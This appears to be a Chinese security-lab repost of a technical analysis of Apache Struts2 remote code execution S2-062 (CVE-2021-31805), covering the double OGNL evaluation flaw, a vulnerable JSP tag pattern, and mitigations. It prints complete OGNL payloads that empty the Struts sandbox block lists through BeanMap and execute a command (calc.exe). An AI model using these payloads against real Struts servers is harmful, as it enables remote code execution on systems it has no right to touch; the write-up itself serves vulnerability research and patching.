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[Khan安全攻防实验室]-2022-4-15-Struts RCE CVE-2021-31805.md

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Struts RCE CVE-2021-31805

Khan安全攻防实验室

Khan安全攻防实验室

微信号 KhanCJSH

功能介绍 安全不是一个人，我们来自五湖四海。研究方向Web内网渗透，免杀技术，红蓝攻防对抗，CTF。

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收录于话题

漏洞简介

    远程代码执行S2-062（CVE-2021-31805）由于Apache Struts2对S2-061（CVE-2020-17530）的修复不够完整，导致一些标签属性仍然可以执行 OGNL 表达式，攻击者利用该漏洞可以构造恶意数据远程执行任意代码。

受影响的版本：Struts 2.0.0 - Struts 2.5.29

安全版本：Struts >= 2.5.30

漏洞分析

    Struts2 对 .jsp 元素的各种属性执行 OGNL 评估。与 S2-059 的示例非常相似，开发人员使用语法“%{}”定义属性的值，以使该页面动态并引入 url 参数。例如，如果您想将 url 参数“skillName”传递给页面，您可以执行以下操作：

https://ip/?skillName=abctestd

<s:url action="list" namespace="/employee" var="url"><s:a href="%{url}" id="%{skillName}">List available Employees</s:a></s:url>



    后端的代码执行单个 OGNL 评估，以检索 GET 参数传入的输入。或者至少它应该是这样工作的。当该用户定义的值最终执行两次 OGNL 评估时，就会存在漏洞。

S2-061

    在 S2-061 问题中，如果您使用在 jsp 中定义的类似于下面的锚标记并传入值 idVal=%{3*3} 输入将执行双重 OGNL 评估，导致 id="9" 

//example<s:a id="%{idVal}"/>//result<s:a id="9"/>

对此的修复是

https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e 修复的核心以 UIBean 类为中心。

    两个 OGNL 评估之一发生在 setId 函数期间，当它调用 findString(id) 并且当 name 参数包含“%{”或“}”时，添加了一个递归检查以不进行 OGNL 评估。

新RCE

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     在对这个问题进行分类时，这个递归检查引起了我的注意。它在局部变量“name”上调用 completeExpressionIfAltSyntax 并将其分配给 expr，但随后在最终 OGNL 评估局部变量“expr”之前对局部变量“name”进行了递归检查。 


    这很好，但如果不对局部变量“name”进行第二次 OGNL 评估，name 将不会包含用户提供的来自 URL 参数的数据。然而，事实证明，在  第 664 行 之前，在evaluateParams函数中执行了另一个 OGNL 评估。


    这意味着对于某些 UIBean 标记，名称属性很容易受到双重 OGNL 评估，如果它们不包含值参数， 这可能会导致远程代码执行。

基本易受攻击元素的概念证明 POC：

<s:textfield label="test1" name="%{skillName}"/><!-- or --><s:label id="test2" name="%{skillName}" />

https:///?skillName=33 将计算 33 = 9

    有趣的是，对于某些元素，名称值会被评估但不会在结果中返回。所以对于 <s:label...> 它不会返回 OGNL 评估的名称值。这并不意味着未评估该值。

剥削可能表现为什么。
并不意味着它没有评估后端的表达式。

在调用 expr 之前 findValue

在调用 expr 后 findValue

Struts2 在 struts-default.xml 文件中定义其排除的类和包。这些是在 2.5.26 中添加到阻止列表中的附加包。

除了所有这些类/包限制之外，OGNL 沙盒规则还包括：

  • 不能调用静态方法

  • 不能使用反射

  • 无法创建新对象

即使你逃离了黑名单，你也不能直接调用 Runtime。这使得事情变得非常具有挑战性，因为这个沙箱在每次迭代中都变得更加安全，并减少了可能的 RCE 漏洞利用的大规模景观。但仍有一些未开发的可能性。如果您查找 S2-061 的 POC，您可能会想到以下内容：

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

这有效地评估为：

//Place valuestack in a beanmap mapapplication.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');application.map.setBean(#request.get('struts.valueStack'));  
//grab the context variable from valuestack and place in beanmap map2application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');application.map2.setBean(#application.get('map').get('context'));  
//grab the memberaccess variable from context variable and place in beanmap map3application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');application.map3.setBean(#application.get('map2').get('memberAccess'));  
//clear block lists found in memberaccess, by creating empty lists in their place. application.get('map3').put(excludedPackageNames', new HashSet());application.get('map3').put(excludedClasses', new HashSet());  
//break out of sandbox restrictions and now execute calc.exeapplication.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));



    在 Struts2 中评估 OGNL 时，它在其上下文映射中具有一些映射到对象的预定义值。例如，其中一些包括“#application”、“#request”、“#attr”。因此，当您调用 %{#application.toString()} 时，您正在调用该对象及其 toString 函数。有一些非常有才华的研究人员发现，您可以使用以下方法绕过 OGNL/Struts 沙箱限制。

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

创建一个

BeanMap 并使用它的setBean和put函数来清除excludedPackageNames 和excludedClasses 从而取消沙箱限制。

但是新的沙盒限制阻止了 org.apache.tomcat.* 的使用。

绕过 S2-061 沙盒限制

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     在使用诸如 software-forensic-kit、调试器和逐行阅读代码之类的调用图工具寻找数周后，我开始认为这不再可能了。我已经找到了许多方法来通过漏洞收集有趣的信息，或者在返回函数上导致奇怪的 ui 行为，但还没有突破沙箱。



    研究过的一种可能的沙箱绕过方法我认为可能有效，但我认为我的语法可能不正确。所以我请了一天假然后回来开始复习OGNL 语法 。当我注意到“地图”部分时，这让我的眼睛转向了一个完全不同的方向。

意识到您可以创建自己的类的地图。

https:///?skillName=#@java.util.LinkedHashMap@{"foo":"value"}

将创建一个 LinkedHashMap 对象并用 "foo":"value" 填充它。

或者您可以创建一个 BeanMap 对象。所以之前获取 BeanMap 的方法是：

现在可以通过简单地使用来完成：

#@org.apache.commons.collections.BeanMap@{}


  


    使用 org.apache.commons.collections.BeanMap 没有任何沙箱限制，因此通过使用特殊的 OGNL 语法直接创建它，您可以绕过所有以前的沙箱限制。



    应用该概念并将“%{”“}”删除到以前的 POC，执行 calc.exe 的新的完整 RCE 变为以下内容：

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))

缓解措施

  1. 这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估，因为“value”属性不存在并且它试图填充该属性。因此，通过给所有属性一个空白值 =“”，这将有助于缓解这个问题。（例如：<s:label name="%{skillName}" value="" />

  2. 将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

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